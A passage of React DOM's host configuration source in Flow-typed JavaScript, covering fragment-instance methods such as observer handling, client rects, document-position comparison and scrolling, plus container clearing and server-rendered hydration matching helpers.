{\n    // $FlowFixMe[prop-missing]\n    instance.blur();\n    return true;\n  }\n  return false;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.observeUsing = function (\n  this: FragmentInstanceType,\n  observer: IntersectionObserver | ResizeObserver,\n): void {\n  if (__DEV__) {\n    if (enableFragmentRefsTextNodes) {\n      let hasText = false;\n      let hasElement = false;\n      traverseFragmentInstance(this._fragmentFiber, (child: Fiber) => {\n        if (child.tag === HostText) {\n          hasText = true;\n        } else {\n          // Stop traversal, found element\n          hasElement = true;\n          return true;\n        }\n        return false;\n      });\n      if (hasText && !hasElement) {\n        console.error(\n          'observeUsing() was called on a FragmentInstance with only text children. ' +\n            'Observers do not work on text nodes.',\n        );\n      }\n    }\n  }\n  if (this._observers === null) {\n    this._observers = new Set();\n  }\n  this._observers.add(observer);\n  traverseFragmentInstance(this._fragmentFiber, observeChild, observer);\n};\nfunction observeChild(\n  child: Fiber,\n  observer: IntersectionObserver | ResizeObserver,\n) {\n  if (enableFragmentRefsTextNodes) {\n    // Skip text nodes - observers don't work on them\n    if (child.tag === HostText) {\n      return false;\n    }\n  }\n  const instance = getInstanceFromHostFiber<Instance>(child);\n  observer.observe(instance);\n  return false;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.unobserveUsing = function (\n  this: FragmentInstanceType,\n  observer: IntersectionObserver | ResizeObserver,\n): void {\n  const observers = this._observers;\n  if (observers === null || !observers.has(observer)) {\n    if (__DEV__) {\n      console.error(\n        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +\n          'instance. First attach the observer with observeUsing()',\n      );\n    }\n  } else {\n    observers.delete(observer);\n    traverseFragmentInstance(this._fragmentFiber, unobserveChild, observer);\n  }\n};\nfunction unobserveChild(\n  child: Fiber,\n  observer: IntersectionObserver | ResizeObserver,\n) {\n  if (enableFragmentRefsTextNodes) {\n    // Skip text nodes - they were never observed\n    if (child.tag === HostText) {\n      return false;\n    }\n  }\n  const instance = getInstanceFromHostFiber<Instance>(child);\n  observer.unobserve(instance);\n  return false;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.getClientRects = function (\n  this: FragmentInstanceType,\n): Array<DOMRect> {\n  const rects: Array<DOMRect> = [];\n  traverseFragmentInstance(this._fragmentFiber, collectClientRects, rects);\n  return rects;\n};\nfunction collectClientRects(child: Fiber, rects: Array<DOMRect>): boolean {\n  if (enableFragmentRefsTextNodes && child.tag === HostText) {\n    const textNode: Text = child.stateNode;\n    const range = textNode.ownerDocument.createRange();\n    range.selectNodeContents(textNode);\n    // $FlowFixMe[method-unbinding]\n    rects.push.apply(rects, range.getClientRects());\n  } else {\n    const instance = getInstanceFromHostFiber<Instance>(child);\n    // $FlowFixMe[method-unbinding]\n    rects.push.apply(rects, instance.getClientRects());\n  }\n  return false;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.getRootNode = function (\n  this: FragmentInstanceType,\n  getRootNodeOptions?: {composed: boolean},\n): Document | ShadowRoot | FragmentInstanceType {\n  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);\n  if (parentHostFiber === null) {\n    return this;\n  }\n  const parentHostInstance =\n    getInstanceFromHostFiber<Instance>(parentHostFiber);\n  const rootNode =\n    // $FlowFixMe[incompatible-cast] Flow expects Node\n    (parentHostInstance.getRootNode(getRootNodeOptions): Document | ShadowRoot);\n  return rootNode;\n};\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.compareDocumentPosition = function (\n  this: FragmentInstanceType,\n  otherNode: Instance,\n): number {\n  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);\n  if (parentHostFiber === null) {\n    return Node.DOCUMENT_POSITION_DISCONNECTED;\n  }\n  const children: Array<Fiber> = [];\n  traverseFragmentInstance(this._fragmentFiber, collectChildren, children);\n  const parentHostInstance =\n    getInstanceFromHostFiber<Instance>(parentHostFiber);\n\n  if (children.length === 0) {\n    return compareDocumentPositionForEmptyFragment(\n      this._fragmentFiber,\n      parentHostInstance,\n      otherNode,\n      getInstanceFromHostFiber,\n    );\n  }\n\n  const firstNode = getInstanceFromHostFiber<Instance>(children[0]);\n  const lastNode = getInstanceFromHostFiber<Instance>(\n    children[children.length - 1],\n  );\n\n  // If the fragment has been portaled into another host instance, we need to\n  // our best guess is to use the parent of the child instance, rather than\n  // the fiber tree host parent.\n  const parentHostInstanceFromDOM = fiberIsPortaledIntoHost(this._fragmentFiber)\n    ? (firstNode.parentElement: ?Instance)\n    : parentHostInstance;\n\n  if (parentHostInstanceFromDOM == null) {\n    return Node.DOCUMENT_POSITION_DISCONNECTED;\n  }\n\n  // Check if first and last node are actually in the expected document position\n  // before relying on them as source of truth for other contained nodes\n  const firstNodeIsContained =\n    parentHostInstanceFromDOM.compareDocumentPosition(firstNode) &\n    Node.DOCUMENT_POSITION_CONTAINED_BY;\n  const lastNodeIsContained =\n    parentHostInstanceFromDOM.compareDocumentPosition(lastNode) &\n    Node.DOCUMENT_POSITION_CONTAINED_BY;\n  const firstResult = firstNode.compareDocumentPosition(otherNode);\n  const lastResult = lastNode.compareDocumentPosition(otherNode);\n\n  const otherNodeIsFirstOrLastChild =\n    (firstNodeIsContained && firstNode === otherNode) ||\n    (lastNodeIsContained && lastNode === otherNode);\n  const otherNodeIsFirstOrLastChildDisconnected =\n    (!firstNodeIsContained && firstNode === otherNode) ||\n    (!lastNodeIsContained && lastNode === otherNode);\n  const otherNodeIsWithinFirstOrLastChild =\n    firstResult & Node.DOCUMENT_POSITION_CONTAINED_BY ||\n    lastResult & Node.DOCUMENT_POSITION_CONTAINED_BY;\n  const otherNodeIsBetweenFirstAndLastChildren =\n    firstNodeIsContained &&\n    lastNodeIsContained &&\n    firstResult & Node.DOCUMENT_POSITION_FOLLOWING &&\n    lastResult & Node.DOCUMENT_POSITION_PRECEDING;\n\n  let result = Node.DOCUMENT_POSITION_DISCONNECTED;\n  if (\n    otherNodeIsFirstOrLastChild ||\n    otherNodeIsWithinFirstOrLastChild ||\n    otherNodeIsBetweenFirstAndLastChildren\n  ) {\n    result = Node.DOCUMENT_POSITION_CONTAINED_BY;\n  } else if (otherNodeIsFirstOrLastChildDisconnected) {\n    // otherNode has been portaled into another container\n    result = Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC;\n  } else {\n    result = firstResult;\n  }\n\n  if (\n    result & Node.DOCUMENT_POSITION_DISCONNECTED ||\n    result & Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC\n  ) {\n    return result;\n  }\n\n  // Now that we have the result from the DOM API, we double check it matches\n  // the state of the React tree. If it doesn't, we have a case of portaled or\n  // otherwise injected elements and we return DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC.\n  const documentPositionMatchesFiberPosition =\n    validateDocumentPositionWithFiberTree(\n      result,\n      this._fragmentFiber,\n      children[0],\n      children[children.length - 1],\n      otherNode,\n    );\n  if (documentPositionMatchesFiberPosition) {\n    return result;\n  }\n  return Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC;\n};\n\nfunction validateDocumentPositionWithFiberTree(\n  documentPosition: number,\n  fragmentFiber: Fiber,\n  precedingBoundaryFiber: Fiber,\n  followingBoundaryFiber: Fiber,\n  otherNode: Instance,\n): boolean {\n  const otherFiber = getClosestInstanceFromNode(otherNode);\n  if (documentPosition & Node.DOCUMENT_POSITION_CONTAINED_BY) {\n    return (\n      !!otherFiber && isFiberContainedByFragment(otherFiber, fragmentFiber)\n    );\n  }\n  if (documentPosition & Node.DOCUMENT_POSITION_CONTAINS) {\n    if (otherFiber === null) {\n      // otherFiber could be null if its the document or body element\n      const ownerDocument = otherNode.ownerDocument;\n      return otherNode === ownerDocument || otherNode === ownerDocument.body;\n    }\n    return isFragmentContainedByFiber(fragmentFiber, otherFiber);\n  }\n  if (documentPosition & Node.DOCUMENT_POSITION_PRECEDING) {\n    return (\n      !!otherFiber &&\n      (otherFiber === precedingBoundaryFiber ||\n        isFiberPreceding(precedingBoundaryFiber, otherFiber))\n    );\n  }\n  if (documentPosition & Node.DOCUMENT_POSITION_FOLLOWING) {\n    return (\n      !!otherFiber &&\n      (otherFiber === followingBoundaryFiber ||\n        isFiberFollowing(followingBoundaryFiber, otherFiber))\n    );\n  }\n\n  return false;\n}\n\nif (enableFragmentRefsScrollIntoView) {\n  // $FlowFixMe[prop-missing]\n  FragmentInstance.prototype.scrollIntoView = function (\n    this: FragmentInstanceType,\n    alignToTop?: boolean,\n  ): void {\n    if (typeof alignToTop === 'object') {\n      throw new Error(\n        'FragmentInstance.scrollIntoView() does not support ' +\n          'scrollIntoViewOptions. Use the alignToTop boolean instead.',\n      );\n    }\n    // First, get the children nodes\n    const children: Array<Fiber> = [];\n    traverseFragmentInstance(this._fragmentFiber, collectChildren, children);\n\n    const resolvedAlignToTop = alignToTop !== false;\n\n    // If there are no children, we can use the parent and siblings to determine a position\n    if (children.length === 0) {\n      const hostSiblings = getFragmentInstanceSiblings(this._fragmentFiber);\n      const targetFiber = resolvedAlignToTop\n        ? hostSiblings[1] ||\n          hostSiblings[0] ||\n          getFragmentParentHostFiber(this._fragmentFiber)\n        : hostSiblings[0] || hostSiblings[1];\n\n      if (targetFiber === null) {\n        if (__DEV__) {\n          console.warn(\n            'You are attempting to scroll a FragmentInstance that has no ' +\n              'children, siblings, or parent. No scroll was performed.',\n          );\n        }\n        return;\n      }\n      const target = getInstanceFromHostFiber<Instance>(targetFiber);\n      target.scrollIntoView(alignToTop);\n      return;\n    }\n\n    let i = resolvedAlignToTop ? children.length - 1 : 0;\n    while (i !== (resolvedAlignToTop ? -1 : children.length)) {\n      const child = children[i];\n      // For text nodes, use Range API to scroll to their position\n      if (enableFragmentRefsTextNodes && child.tag === HostText) {\n        const textNode: Text = child.stateNode;\n        const range = textNode.ownerDocument.createRange();\n        range.selectNodeContents(textNode);\n        const rect = range.getBoundingClientRect();\n        const scrollY = resolvedAlignToTop\n          ? window.scrollY + rect.top\n          : window.scrollY + rect.bottom - window.innerHeight;\n        window.scrollTo(window.scrollX + rect.left, scrollY);\n        i += resolvedAlignToTop ? -1 : 1;\n        continue;\n      }\n      const instance = getInstanceFromHostFiber<Instance>(child);\n      instance.scrollIntoView(alignToTop);\n      i += resolvedAlignToTop ? -1 : 1;\n    }\n  };\n}\n\nfunction addFragmentHandleToFiber(\n  child: Fiber,\n  fragmentInstance: FragmentInstanceType,\n): boolean {\n  if (enableFragmentRefsInstanceHandles) {\n    const instance =\n      getInstanceFromHostFiber<InstanceWithFragmentHandles>(child);\n    if (instance != null) {\n      addFragmentHandleToInstance(instance, fragmentInstance);\n    }\n  }\n  return false;\n}\n\nfunction addFragmentHandleToInstance(\n  instance: InstanceWithFragmentHandles,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  if (enableFragmentRefsInstanceHandles) {\n    if (instance.reactFragments == null) {\n      instance.reactFragments = new Set();\n    }\n    instance.reactFragments.add(fragmentInstance);\n  }\n}\n\nexport function createFragmentInstance(\n  fragmentFiber: Fiber,\n): FragmentInstanceType {\n  const fragmentInstance = new (FragmentInstance: any)(fragmentFiber);\n  if (enableFragmentRefsInstanceHandles) {\n    traverseFragmentInstance(\n      fragmentFiber,\n      addFragmentHandleToFiber,\n      fragmentInstance,\n    );\n  }\n  return fragmentInstance;\n}\n\nexport function updateFragmentInstanceFiber(\n  fragmentFiber: Fiber,\n  instance: FragmentInstanceType,\n): void {\n  instance._fragmentFiber = fragmentFiber;\n}\n\nexport function commitNewChildToFragmentInstance(\n  childInstance: InstanceWithFragmentHandles | Text,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  if (childInstance.nodeType === TEXT_NODE) {\n    return;\n  }\n  const instance: InstanceWithFragmentHandles = (childInstance: any);\n  const eventListeners = fragmentInstance._eventListeners;\n  if (eventListeners !== null) {\n    for (let i = 0; i < eventListeners.length; i++) {\n      const {type, listener, optionsOrUseCapture} = eventListeners[i];\n      instance.addEventListener(type, listener, optionsOrUseCapture);\n    }\n  }\n  if (fragmentInstance._observers !== null) {\n    fragmentInstance._observers.forEach(observer => {\n      observer.observe(instance);\n    });\n  }\n  if (enableFragmentRefsInstanceHandles) {\n    addFragmentHandleToInstance(instance, fragmentInstance);\n  }\n}\n\nexport function deleteChildFromFragmentInstance(\n  childInstance: InstanceWithFragmentHandles | Text,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  if (childInstance.nodeType === TEXT_NODE) {\n    return;\n  }\n  const instance: InstanceWithFragmentHandles = (childInstance: any);\n  const eventListeners = fragmentInstance._eventListeners;\n  if (eventListeners !== null) {\n    for (let i = 0; i < eventListeners.length; i++) {\n      const {type, listener, optionsOrUseCapture} = eventListeners[i];\n      instance.removeEventListener(type, listener, optionsOrUseCapture);\n    }\n  }\n  if (enableFragmentRefsInstanceHandles) {\n    if (instance.reactFragments != null) {\n      instance.reactFragments.delete(fragmentInstance);\n    }\n  }\n}\n\nexport function clearContainer(container: Container): void {\n  const nodeType = container.nodeType;\n  if (nodeType === DOCUMENT_NODE) {\n    clearContainerSparingly(container);\n  } else if (nodeType === ELEMENT_NODE) {\n    switch (container.nodeName) {\n      case 'HEAD':\n      case 'HTML':\n      case 'BODY':\n        clearContainerSparingly(container);\n        return;\n      default: {\n        container.textContent = '';\n      }\n    }\n  }\n}\n\nfunction clearContainerSparingly(container: Node) {\n  let node;\n  let nextNode: ?Node = container.firstChild;\n  if (nextNode && nextNode.nodeType === DOCUMENT_TYPE_NODE) {\n    nextNode = nextNode.nextSibling;\n  }\n  while (nextNode) {\n    node = nextNode;\n    nextNode = nextNode.nextSibling;\n    switch (node.nodeName) {\n      case 'HTML':\n      case 'HEAD':\n      case 'BODY': {\n        const element: Element = (node: any);\n        clearContainerSparingly(element);\n        // If these singleton instances had previously been rendered with React they\n        // may still hold on to references to the previous fiber tree. We detatch them\n        // prospectively to reset them to a baseline starting state since we cannot create\n        // new instances.\n        detachDeletedInstance(element);\n        continue;\n      }\n      // Script tags are retained to avoid an edge case bug. Normally scripts will execute if they\n      // are ever inserted into the DOM. However when streaming if a script tag is opened but not\n      // yet closed some browsers create and insert the script DOM Node but the script cannot execute\n      // yet until the closing tag is parsed. If something causes React to call clearContainer while\n      // this DOM node is in the document but not yet executable the DOM node will be removed from the\n      // document and when the script closing tag comes in the script will not end up running. This seems\n      // to happen in Chrome/Firefox but not Safari at the moment though this is not necessarily specified\n      // behavior so it could change in future versions of browsers. While leaving all scripts is broader\n      // than strictly necessary this is the least amount of additional code to avoid this breaking\n      // edge case.\n      //\n      // Style tags are retained because they may likely come from 3rd party scripts and extensions\n      case 'SCRIPT':\n      case 'STYLE': {\n        continue;\n      }\n      // Stylesheet tags are retained because they may likely come from 3rd party scripts and extensions\n      case 'LINK': {\n        if (((node: any): HTMLLinkElement).rel.toLowerCase() === 'stylesheet') {\n          continue;\n        }\n      }\n    }\n    container.removeChild(node);\n  }\n  return;\n}\n\nfunction clearHead(head: Element): void {\n  let node = head.firstChild;\n  while (node) {\n    const nextNode = node.nextSibling;\n    const nodeName = node.nodeName;\n    if (\n      isMarkedHoistable(node) ||\n      nodeName === 'SCRIPT' ||\n      nodeName === 'STYLE' ||\n      (nodeName === 'LINK' &&\n        ((node: any): HTMLLinkElement).rel.toLowerCase() === 'stylesheet')\n    ) {\n      // retain these nodes\n    } else {\n      head.removeChild(node);\n    }\n    node = nextNode;\n  }\n  return;\n}\n\n// Making this so we can eventually move all of the instance caching to the commit phase.\n// Currently this is only used to associate fiber and props to instances for hydrating\n// HostSingletons. The reason we need it here is we only want to make this binding on commit\n// because only one fiber can own the instance at a time and render can fail/restart\nexport function bindInstance(\n  instance: Instance,\n  props: Props,\n  internalInstanceHandle: mixed,\n) {\n  precacheFiberNode((internalInstanceHandle: any), instance);\n  updateFiberProps(instance, props);\n}\n\n// -------------------\n//     Hydration\n// -------------------\n\nexport const supportsHydration = true;\n\nexport function canHydrateInstance(\n  instance: HydratableInstance,\n  type: string,\n  props: Props,\n  inRootOrSingleton: boolean,\n): null | Instance {\n  while (instance.nodeType === ELEMENT_NODE) {\n    const element: Element = (instance: any);\n    const anyProps = (props: any);\n    if (element.nodeName.toLowerCase() !== type.toLowerCase()) {\n      if (!inRootOrSingleton) {\n        // Usually we error for mismatched tags.\n        if (element.nodeName === 'INPUT' && (element: any).type === 'hidden') {\n          // If we have extra hidden inputs, we don't mismatch. This allows us to embed\n          // extra form data in the original form.\n        } else {\n          return null;\n        }\n      }\n      // In root or singleton parents we skip past mismatched instances.\n    } else if (!inRootOrSingleton) {\n      // Match\n      if (type === 'input' && (element: any).type === 'hidden') {\n        if (__DEV__) {\n          checkAttributeStringCoercion(anyProps.name, 'name');\n        }\n        const name = anyProps.name == null ? null : '' + anyProps.name;\n        if (\n          anyProps.type !== 'hidden' ||\n          element.getAttribute('name') !== name\n        ) {\n          // Skip past hidden inputs unless that's what we're looking for. This allows us\n          // embed extra form data in the original form.\n        } else {\n          return element;\n        }\n      } else {\n        return element;\n      }\n    } else if (isMarkedHoistable(element)) {\n      // We've already claimed this as a hoistable which isn't hydrated this way so we skip past it.\n    } else {\n      // We have an Element with the right type.\n\n      // We are going to try to exclude it if we can definitely identify it as a hoisted Node or if\n      // we can guess that the node is likely hoisted or was inserted by a 3rd party script or browser extension\n      // using high entropy attributes for certain types. This technique will fail for strange insertions like\n      // extension prepending <div> in the <body> but that already breaks before and that is an edge case.\n      switch (type) {\n        // case 'title':\n        //We assume all titles are matchable. You should only have one in the Document, at least in a hoistable scope\n        // and if you are a HostComponent with type title we must either be in an <svg> context or this title must have an `itemProp` prop.\n        case 'meta': {\n          // The only way to opt out of hoisting meta tags is to give it an itemprop attribute. We assume there will be\n          // not 3rd party meta tags that are prepended, accepting the cases where this isn't true because meta tags\n          // are usually only functional for SSR so even in a rare case where we did bind to an injected tag the runtime\n          // implications are minimal\n          if (!element.hasAttribute('itemprop')) {\n            // This is a Hoistable\n            break;\n          }\n          return element;\n        }\n        case 'link': {\n          // Links come in many forms and we do expect 3rd parties to inject them into <head> / <body>. We exclude known resources\n          // and then use high-entroy attributes like href which are almost always used and almost always unique to filter out unlikely\n          // matches.\n          const rel = element.getAttribute('rel');\n          if (rel === 'stylesheet' && element.hasAttribute('data-precedence')) {\n            // This is a stylesheet resource\n            break;\n          } else if (\n            rel !== anyProps.rel ||\n            element.getAttribute('href') !==\n              (anyProps.href == null || anyProps.href === ''\n                ? null\n                : anyProps.href) ||\n            element.getAttribute('crossorigin') !==\n              (anyProps.crossOrigin == null ? null : anyProps.crossOrigin) ||\n            element.getAttribute('title') !==\n              (anyProps.title == null ? null : anyProps.title)\n          ) {\n            // rel + href should usually be enough to uniquely identify a link however crossOrigin can vary for rel preconnect\n            // and title could vary for rel alternate\n            break;\n          }\n          return element;\n        }\n        case 'style': {\n          // Styles are hard to match correctly. We can exclude known resources but otherwise we accept the fact that a non-hoisted style tags\n          // in <head> or <body> are likely never going to be unmounted given their position in the document and the fact they likely hold global styles\n          if (element.hasAttribute('data-precedence')) {\n            // This is a style resource\n            break;\n          }\n          return element;\n        }\n        case 'script': {\n          // Scripts are a little tricky, we exclude known resources and then similar to links try to use high-entropy attributes\n          // to reject poor matches. One challenge with scripts are inline scripts. We don't attempt to check text content which could\n          // in theory lead to a hydration error later if a 3rd party injected an inline script before the React rendered nodes.\n          // Falling back to client rendering if this happens should be seemless though so we will try this hueristic and revisit later\n          // if we learn it is problematic\n          const srcAttr = element.getAttribute('src');\n          if (\n            srcAttr !== (anyProps.src == null ? null : anyProps.src) ||\n            element.getAttribute('type') !==\n              (anyProps.type == null ? null : anyProps.type) ||\n            element.getAttribute('crossorigin') !==\n              (anyProps.crossOrigin == null ? null : anyProps.crossOrigin)\n          ) {\n            // This script is for a different src/type/crossOrigin. It may be a script resource\n            // or it may just be a mistmatch\n            if (\n              srcAttr &&\n              element.hasAttribute('async') &&\n              !element.hasAttribute('itemprop')\n            ) {\n              // This is an async script resource\n              break;\n            }\n          }\n          return element;\n        }\n        default: {\n          // We have excluded the most likely cases of mismatch between hoistable tags, 3rd party script inserted tags,\n          // and browser extension inserted tags. While it is possible this is not the right match it is a decent hueristic\n          // that should work in the vast majority of cases.\n          return element;\n        }\n      }\n    }\n    const nextInstance = getNextHydratableSibling(element);\n    if (nextInstance === null) {\n      break;\n    }\n    instance = nextInstance;\n  }\n  // This is a suspense boundary or Text node or we got the end.\n  // Suspense Boundaries are never expected to be injected by 3rd parties. If we see one it should be matched\n  // and this is a hydration error.\n  // Text Nodes are also not expected to be injected by 3rd parties. This is less of a guarantee for <body>\n  // but it seems reasonable and conservative to reject this as a hydration error as well\n  return null;\n}\n\nexport function canHydrateTextInstance(\n  instance: HydratableInstance,\n  text: string,\n  inRootOrSingleton: boolean,\n): null | TextInstance {\n  // Empty strings are not parsed by HTML so there won't be a correct match here.\n  if (text === '') return null;\n\n  while (instance.nodeType !== TEXT_NODE) {\n    if (\n      instance.nodeType === ELEMENT_NODE &&\n      instance.nodeName === 'INPUT' &&\n      (instance: any).type === 'hidden'\n    ) {\n      // If we have extra hidden inputs, we don't mismatch. This allows us to\n      // embed extra form data in the original form.\n    } else if (!inRootOrSingleton) {\n      return null;\n    }\n    const nextInstance = getNextHydratableSibling(instance);\n    if (nextInstance === null) {\n      return null;\n    }\n    instance = nextInstance;\n  }\n  // This has now been refined to a text node.\n  return ((instance: any): TextInstance);\n}\n\nfunction canHydrateHydrationBoundary(\n  instance: HydratableInstance,\n  inRootOrSingleton: boolean,\n): null | SuspenseInstance | ActivityInstance {\n  while (instance.nodeType !== COMMENT_NODE) {\n    if (\n      instance.nodeType === ELEMENT_NODE &&\n      instance.nodeName === 'INPUT' &&\n      (instance: any).type === 'hidden'\n    ) {\n      // If we have extra hidden inputs, we don't mismatch. This allows us to\n      // embed extra form data in the original form.\n    } else if (!inRootOrSingleton) {\n      return null;\n    }\n    const nextInstance = getNextHydratableSibling(instance);\n    if (nextInstance === null) {\n      return null;\n    }\n    instance = nextInstance;\n  }\n  // This has now been refined to a hydration boundary node.\n  return (instance: any);\n}\n\nexport function canHydrateActivityInstance(\n  instance: HydratableInstance,\n  inRootOrSingleton: boolean,\n): null | ActivityInstance {\n  const hydratableInstance = canHydrateHydrationBoundary(\n    instance,\n    inRootOrSingleton,\n  );\n  if (\n    hydratableInstance !== null &&\n    hydratableInstance.data === ACTIVITY_START_DATA\n  ) {\n    return (hydratableInstance: any);\n  }\n  return null;\n}\n\nexport function canHydrateSuspenseInstance(\n  instance: HydratableInstance,\n  inRootOrSingleton: boolean,\n): null | SuspenseInstance {\n  const hydratableInstance = canHydrateHydrationBoundary(\n    instance,\n    inRootOrSingleton,\n  );\n  if (\n    hydratableInstance !== null &&\n    hydratableInstance.data !== ACTIVITY_START_DATA\n  ) {\n    return (hydratableInstance: any);\n  }\n  return null;\n}\n\nexport function isSuspenseInstancePending(instance: SuspenseInstance): boolean {\n  return (\n    instance.data === SUSPENSE_PENDING_START_DATA ||\n    instance.data === SUSPENSE_QUEUED_START_DATA\n  );\n}\n\nexport function isSuspenseInstanceFallback(\n  instance: SuspenseInstance,\n): boolean {\n  return (\n    instance.data === SUSPENSE_FALLBACK_START_DATA ||\n    (instance.data === SUSPENSE_PENDING_START_DATA &&\n      instance.ownerDocument.readyState !== DOCUMENT_READY_STATE_LOADING)\n  );\n}\n\nexport function getSuspenseInstanceFallbackErrorDetails(\n  instance: SuspenseInstance,\n): {\n  digest: ?string,\n  message?: string,\n  stack?: string,\n  componentStack?: string,\n} {\n  const dataset =\n    instance.nextSibling && ((instance.nextSibling: any): HTMLElement).dataset;\n  let digest, message, stack, componentStack;\n  if (dataset) {\n    digest = dataset.dgst;\n    if (__DEV__) {\n      message = dataset.msg;\n      stack = dataset.stck;\n      componentStack = dataset.cstck;\n    }\n  }\n  if (__DEV__) {\n    return {\n      message,\n      digest,\n      stack,\n      componentStack,\n    };\n  } else {\n    // Object gets DCE'd if constructed in tail position and matches callsite destructuring\n    return {\n      digest,\n    };\n  }\n}\n\nexport function registerSuspenseInstanceRetry(\n  instance: SuspenseInstance,\n  callback: () => void,\n) {\n  const ownerDocument = instance.ownerDocument;\n  if (instance.data === SUSPENSE_QUEUED_START_DATA) {\n    // The Fizz runtime has already queued this boundary for reveal. We wait for it\n    // to be revealed and then retries.\n    instance._reactRetry = callback;\n  } else if (\n    // The Fizz runtime must have put this boundary into client render or complete\n    // state after the render finished but before it committed. We need to call the\n    // callback now rather than wait\n    instance.data !== SUSPENSE_PENDING_START_DATA ||\n    // The boundary is still in pending status but the document has finished loading\n    // before we could register the event handler that would have scheduled the retry\n    // on load so we call the callback now.\n    ownerDocument.readyState !== DOCUMENT_READY_STATE_LOADING\n  ) {\n    callback();\n  } else {\n    // We're still in pending status and the document is still loading so we attach\n    // a listener to the document load even and expose the retry on the instance for\n    // the Fizz runtime to trigger if it ends up resolving this boundary\n    const listener = () => {\n      callback();\n      ownerDocument.removeEventListener('DOMContentLoaded', listener);\n    };\n    ownerDocument.addEventListener('DOMContentLoaded', listener);\n    instance._reactRetry = listener;\n  }\n}\n\nexport function canHydrateFormStateMarker(\n  instance: HydratableInstance,\n  inRootOrSingleton: boolean,\n): null | FormStateMarkerInstance {\n  while (instance.nodeType !== COMMENT_NODE) {\n    if (!inRootOrSingleton) {\n      return null;\n    }\n    const nextInstance = getNextHydratableSibling(instance);\n    if (nextInstance === null) {\n      return null;\n    }\n    instance = nextInstance;\n  }\n  const nodeData = (instance: any).data;\n  if (\n    nodeData === FORM_STATE_IS_MATCHING ||\n    nodeData === FORM_STATE_IS_NOT_MATCHING\n  ) {\n    const markerInstance: FormStateMarkerInstance = (instance: any);\n    return markerInstance;\n  }\n  return null;\n}\n\nexport function isFormStateMarkerMatching(\n  markerInstance: FormStateMarkerInstance,\n): boolean {\n  return markerInstance.data === FORM_STATE_IS_MATCHING;\n}\n\nfunction getNextHydratable(node: ?Node) {\n  // Skip non-hydratable nodes.\n  for (; node != null; node = ((node: any): Node).nextSibling) {\n    const nodeType = node.nodeType;\n    if (nodeType === ELEMENT_NODE || nodeType === TEXT_NODE) {\n      break;\n    }\n    if (nodeType === COMMENT_NODE) {\n      const data = (node: any).data;\n      if (\n        data === SUSPENSE_START_DATA ||\n        data === SUSPENSE_FALLBACK_START_DATA ||\n        data === SUSPENSE_PENDING_START_DATA ||\n        data === SUSPENSE_QUEUED_START_DATA ||\n        data === ACTIVITY_START_DATA ||\n        data === FORM_STATE_IS_MATCHING ||\n        data === FORM_STATE_IS_NOT_MATCHING\n      ) {\n        break;\n      }\n      if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {\n        return null;\n      }\n    }\n  }\n  return (node: any);\n}\n\nexport function getNextHydratableSibling(\n  instance: HydratableInstance,\n): null | HydratableInstance {\n  return getNextHydratable(instance.nextSibling);\n}\n\nexport function getFirstHydratableChild(\n  parentInstance: Instance,\n): null | HydratableInstance {\n  return getNextHydratable(parentInstance.firstChild);\n}\n\nexport function getFirstHydratableChildWithinContainer(\n  parentContainer: Container,\n): null | HydratableInstance {\n  let parentElement: Element;\n  switch (parentContainer.nodeType) {\n    case DOCUMENT_NODE:\n      parentElement = (parentContainer: any).body;\n      break;\n    default: {\n      if (parentContainer.nodeName === 'HTML') {\n        parentElement = (parentContainer: any).ownerDocument.body;\n      } else {\n        parentElement = (parentContainer: any);\n      }\n    }\n  }\n  return getNextHydratable(parentElement.firstChild);\n}\n\nexport function getFirstHydratableChildWithinActivityInstance(\n  parentInstance: ActivityInstance,\n): null | HydratableInstance {\n  return getNextHydratable(parentInstance.nextSibling);\n}\n\nexport function getFirstHydratableChildWithinSuspenseInstance(\n  parentInstance: SuspenseInstance,\n): null | HydratableInstance {\n  return getNextHydratable(parentInstance.nextSibling);\n}\n\n// If it were possible to have more than one scope singleton in a DOM tree\n// we would need to model this as a stack but since you can only have one <head>\n// and head is the only singleton that is a scope in DOM we can get away with\n// tracking this as a single value.\nlet previousHydratableOnEnteringScopedSingleton: null | HydratableInstance =\n  null;\n\nexport function getFirstHydratableChildWithinSingleton(\n  type: string,\n  singletonInstance: Instance,\n  currentHydratableInstance: null | HydratableInstance,\n): null | HydratableInstance {\n  if (isSingletonScope(type)) {\n    previousHydratableOnEnteringScopedSingleton = currentHydratableInstance;\n    return getNextHydratable(singletonInstance.firstChild);\n  } else {\n    return currentHydratableInstance;\n  }\n}\n\nexport function getNextHydratableSiblingAfterSingleton(\n  type: string,\n  currentHydratableInstance: null | HydratableInstance,\n): null | HydratableInstance {\n  if (isSingletonScope(type)) {\n    const previousHydratableInstance =\n      previousHydratableOnEnteringScopedSingleton;\n    previousHydratableOnEnteringScopedSingleton = null;\n    return previousHydratableInstance;\n  } else {\n    return currentHydratableInstance;\n  }\n}\n\nexport function describeHydratableInstanceForDevWarnings(\n  instance: HydratableInstance,\n): string | {type: string, props: $ReadOnly<Props>} {\n  // Reverse engineer a pseudo react-element from hydratable instance\n  if (instance.nodeType === ELEMENT_NODE) {\n    // Reverse engineer a set of props that can print for dev warnings\n    return {\n      type: instance.nodeName.toLowerCase(),\n      props: getPropsFromElement((instance: any)),\n    };\n  } else if (instance.nodeType === COMMENT_NODE) {\n    if (instance.data === ACTIVITY_START_DATA) {\n      return {\n        type: 'Activity',\n        props: {},\n      };\n    }\n    return {\n      type: 'Suspense',\n      props: {},\n    };\n  } else {\n    return instance.nodeValue;\n  }\n}\n\nexport function validateHydratableInstance(\n  type: string,\n  props: Props,\n  hostContext: HostContext,\n): boolean {\n  if (__DEV__) {\n    // TODO: take namespace into account when validating.\n    const hostContextDev: HostContextDev = (hostContext: any);\n    return validateDOMNesting(type, hostContextDev.ancestorInfo);\n  }\n  return true;\n}\n\nexport function 